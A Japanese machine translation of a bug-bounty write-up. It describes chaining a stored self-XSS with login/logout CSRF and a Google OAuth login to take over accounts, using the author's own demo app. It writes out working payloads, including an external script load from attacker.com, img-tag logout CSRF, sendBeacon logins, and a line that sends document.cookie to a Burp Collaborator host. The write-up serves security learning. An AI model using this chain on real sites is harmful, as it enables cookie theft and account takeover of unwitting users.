Self XSS to Account Takeover から学ぶ

ソース:

medium.com

脆弱性XSS, ATO

 

訳:

私はすでにバグ報奨金プログラムを持っており、自己 XSS が保存されていることが判明しましたが、エスカレーションの手順を読んだ後、エスカレーションに必要な他の低レベルのバグから安全であることがわかり。

そこで、エスカレーションのための連鎖方法を実際に試してみることに。
そのため、範囲外、NA、P5、または単なる情報所見とみなされる一連の脆弱性を実証する独自の環境を作成し。

 

TL、DR;
->
Stored Self XSS をログイン/ログアウト CSRF と連結し、oAuth ログイン機能を利用してユーザーの Cookie を盗み

-> 一番下までスクロールして、POC ビデオと、セットアップとエクスプロイトの完全なコードを見つけ

必需品:

  1. 保存された自己 XSS
  2. ログインとログアウト CSRF
  3. 従来のログインと OAuth の実装の機能

環境設定:

この Web アプリケーションには、次の 2 つの機能を提供するログイン ページがあります。

  1. メールID/パスワードでログイン
  2. Googleでログイン

アカウントへのログイン時に、最初の方法で実行すると、名前や説明などに表示されるデフォルト値が取得され、2 番目の方法でログインすると、Google アカウントからアカウントの詳細が取得され、ダッシュボードに表示されます。

ダッシュボード ページにはコメント機能もあります (保存された自己 XSS をデモンストレーションするためにのみ作成されました)。

攻撃の概要:

  1. 私たちの(攻撃者)サーバー上に悪意のあるスクリプトを作成します
  2. 保存された自己 XSS を悪用して攻撃者のアカウントに埋め込む
  3. 以下を行うページを作成します。

i. ログアウト CSRF を使用して被害ユーザーをログアウトします。
ii. 電子メール/パスワード機能を使用して攻撃者のアカウントにログインする
iii. 攻撃者のアカウントから保存されている XSS を実行すると、外部スクリプト (攻撃者のサーバーに保存されている) がロードされます。

4. これで、外部スクリプトは次の方法で実行を開始します。

i. 攻撃者をログアウトします
ii. oAuth実装を利用して被害者のアカウントにログインします。
iii. 被害者のクッキーを盗み、攻撃者のサーバーに送信する

詳細な説明:

ステップ1

私たちは、(攻撃者) サーバー上に悪意のある JavaScript ファイルを作成し。
それが evil.js であると仮定しして。
この記事の後半では、evil.js に何を記述するかについて詳しく説明しますが、それまでは攻撃を進めましょう。

ステップ2

ダッシュボードのコメント機能は自己保存型 XSS に対して脆弱であることがわかってい。
したがって、次のコードを使用して外部 JavaScript ファイルを埋め込み。

 

<script src=http://attacker.com/evil.js>

 

このコードは、攻撃者のサーバーから外部 JavaScript ファイルをロードし、ブラウザがその実行を開始します。

ステップ3

(i) ログアウト CSRF を使用して被害ユーザーをログアウトします。
Web アプリケーションのログアウト機能を分析すると (ログアウト リクエストを調べているだけです:P)、Cookie を破棄するために logout.php で GET リクエストを行っているだけであることがわかります。
そこで、 img タグを使用してログアウト ページにアクセスし、被害者の Cookie を破棄します。

<img src=http://localhost/app/logout.php>

 

このコードは、指定されたソースから画像を取得しようとし、その際にソース URL に対して GET リクエストを作成し、アプリケーションのロジックによりユーザーをログアウトします。

(ii) 電子メール/パスワード機能を使用して攻撃者のアカウントにログインする
Web アプリケーションには電子メール ID/パスワードでログインする機能もあるので、簡単な JavaScript コードを記述して、資格情報を含む URL に POST リクエストを送信します。その後、攻撃者のセッションがアクティブ化されます。
攻撃者のアカウントにログインするためのコード:

navigator.sendBeacon(“http://localhost/GoogleLogin/authLocal.php”, new Blob([“username=admin&password=admin”], { type: “application/x-www-form-urlencoded” }))

 

非常に便利なメソッド navigator.sendBeacon() JavaScript には、いくつかの非常に特殊なコンテンツ タイプを含む POST リクエストを送信するために使用できる、 があります。 アクセスする URL とデータおよびコンテンツ タイプを取得するだけです。 詳細については、 こちらを ご覧ください。

このアクションを実行するために、非表示の HTML フォームを作成し、JavaScript を使用してそれを送信することもできることに注意してください。sendBeacon は、使用するためのシンプルで非常に強力なメソッドを提供するだけです。

(iii) 攻撃者のアカウントから保存された XSS を実行する
攻撃者としてログインしたので、保存されている XSS を実行するページ (通常はダッシュボードまたは edit_profile ページ) に被害者をリダイレクトし。

JavaScript が実行されると、外部 JavaScript ファイルがロードされ、実行が開始され。

 

ステップ4

ここで、外部 JavaScript ファイル (evil.js) が何を行うかを確認するところまで来ました。

(i) 攻撃者をログアウトします。
を使用してログアウト URL をヒットするだけです。 前に見たように、 img タグ
<img src=http://127.0.0.1/app/logout.php>

繰り返しますが、これはソース URL から画像をフェッチし、ユーザーをログアウトする GET リクエストを作成しようとします。

(ii) oAuth 機能を使用して被害者のアカウントにログインします。
これはエクスプロイトの重要なステップです。oAuth を使用した認証プロセスの開始からアプリケーションへのアクセスを取得するまで、各リクエストを注意深く分析する必要があります。
各リクエストに従うと、特定のリクエストが表示されます (通常、 のようになります /?auth=<some_code> )。
これはアプリケーションに対して認証を行います。
被害者のアカウントにログインするためのコード (Google 用):

 

navigator.sendBeacon(“https://accounts.google.com/o/oauth2/auth?response_type=code&access_type=online&client_id=3195217987-usqr8lj019fd8df2rlihu32gl3qk725r.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%2FGoogleLogin%2Fg-callback.php&state&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&approval_prompt=auto","");

 

ここで、メソッド navigator.sendBeacon は、POST データなしで指定された URL に POST リクエストを作成します。

ここでは、被害者が既に Gmail (oAuth プロバイダー) にログインしているというシナリオを検討していることに注意することが重要です。これは実際のシナリオでは通常当てはまります。

(iii) 被害者のクッキーを盗む
被害者の Cookie を盗み、それをサーバー (この場合は Burp コラボレーター) に送信する JavaScript ペイロードを作成するだけです。 これで、被害者の Cookie が得られたので、それを使用してセッションを取得することができます。

 

var link=”http://random.burpcollaborator.net/VictimCookies="+document.cookie;
navigator.sendBeacon(link,””);

 

これにより、Burp の Collaborator のリンクとログインユーザーの Cookie が作成され、それらが navigator.sendBeacon メソッドを使用してサーバーに送信されます。

もっと何か…

しかし、通常、Web サイトではセッション Cookie に HttpOnly/Secure フラグが設定されていますよね?
したがって、その場合、JavaScript を使用して、電子メールアドレスを変更して携帯電話番号を追加するなどの悪意のあるアクションを実行する可能性があり。
これは、後でパスワード リセット機能によるアカウントの乗っ取りに使用される可能性があります。 参考のために最後に同様のブログ投稿をリンクしました。

私の設定に関して注意すべき点がいくつかあります。

  1. 電子メールとパスワードを使用した従来のログインをデモンストレーションするために、完全な SQL サーバーをセットアップしていません。 authLocal.php は、資格情報のハードコーディングされた値が含まれるファイルです。
  2. 私の設定を複製したい場合は、個人の電子メール アドレスではなく、組織の電子メール アドレスを持っていることを確認してください。
    これは、Google が Web アプリケーションの検証なしでテスト ユーザーが oAuth 認証 (Google でサインイン) を実行することを許可していないためです。
    ここでは、Google にリンクされている大学のメール アドレスを使用しました。

github.com

ほなほな。